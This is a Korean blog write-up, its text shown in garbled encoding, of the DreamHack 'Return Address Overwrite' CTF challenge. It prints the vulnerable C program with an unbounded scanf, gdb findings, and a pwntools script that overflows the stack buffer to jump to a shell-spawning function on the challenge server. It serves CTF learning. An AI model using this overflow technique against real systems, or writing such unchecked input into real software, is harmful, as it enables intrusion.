๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

DreamHack - Return Address Overwrite

by Janger 2023. 4. 30.
728x90
๋ฐ˜์‘ํ˜•

 

rao.c

 

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

๋ฒ„ํผ์˜ ์‚ฌ์ด์ฆˆ๋Š” 0x28(40 bytes)์ด๋ฉฐ, get_shell() ํ•จ์ˆ˜๋กœ return ํ•˜๊ฒŒ ๋˜๋ฉด ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹จ ๊ฑธ ํ™•์ธ

 

 

 

checksec --file=rao

 

์Šคํƒ ์นด๋‚˜๋ฆฌ ๋ฏธ์ ์šฉ์ด๋ฏ€๋กœ ์›ํ•˜๋Š” ์ฃผ์†Œ๋กœ ๋ฆฌํ„ด ์กฐ์ž‘ ๊ฐ€๋Šฅ

 

file rao

 

* x86-64 ํ™˜๊ฒฝ์ž„

 

gdb

 

$ info functions get_shell ๋ช…๋ น๋ฌธ์œผ๋กœ get_shell() ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋Š” 0x00000000004006aa๋ž€๊ฑธ ํ™•์ธ

 

$ pd ๋ช…๋ น๋ฌธ์œผ๋กœ buf์˜ ์‹ค์ œ ์‚ฌ์ด์ฆˆ๋Š” 0x30(48 bytes)๋ž€๊ฑธ ํ™•์ธ

 

 

exploit.py

 

from pwn import *

r = remote("host3.dreamhack.games", 15865)
payload = b'a' * (48+8)
payload += p64(0x004006aa)

r.sendline(payload)
r.interactive()

64bit ์ฒด์ œ์ด๋ฏ€๋กœ sfp๋Š” 8 ๋ฐ”์ดํŠธ ์ถ”๊ฐ€ํ•˜๊ณ  get_shell() ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ p64๋กœ ํŒจํ‚นํ•˜์—ฌ ์ค€๋‹ค. 

 

 

 

์ƒˆ๋กœ ์•Œ๊ฒŒ๋œ ๊ธฐ๋Šฅ x/

 

๋ฉ”๋ชจ๋ฆฌ ์ƒํƒœ ๊ฒ€์‚ฌ: 

x/[๋ฒ”์œ„] [๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ or ํ•จ์ˆ˜๋ช…]

 

์Šคํƒ ์ฃผ๋ณ€์— ์–ด๋–ค ๊ฐ’์ด ๋“ค์–ด์žˆ๋Š”์ง€ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. 

 

 

 

728x90
๋ฐ˜์‘ํ˜•

'๐ŸดCTF > DreamHack' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

DreamHack - Return to Shellcode ํ’€์ด  (0) 2023.05.01
DreamHack - Quiz: x86 Assembly 1  (0) 2023.05.01
DreamHack - basic_exploitation_000 ํ’€์ด  (0) 2023.04.26
DreamHack - basic_exploitation_001 ํ’€์ด  (0) 2023.04.25
DreamHack - login-1 ํ’€์ด  (0) 2023.03.27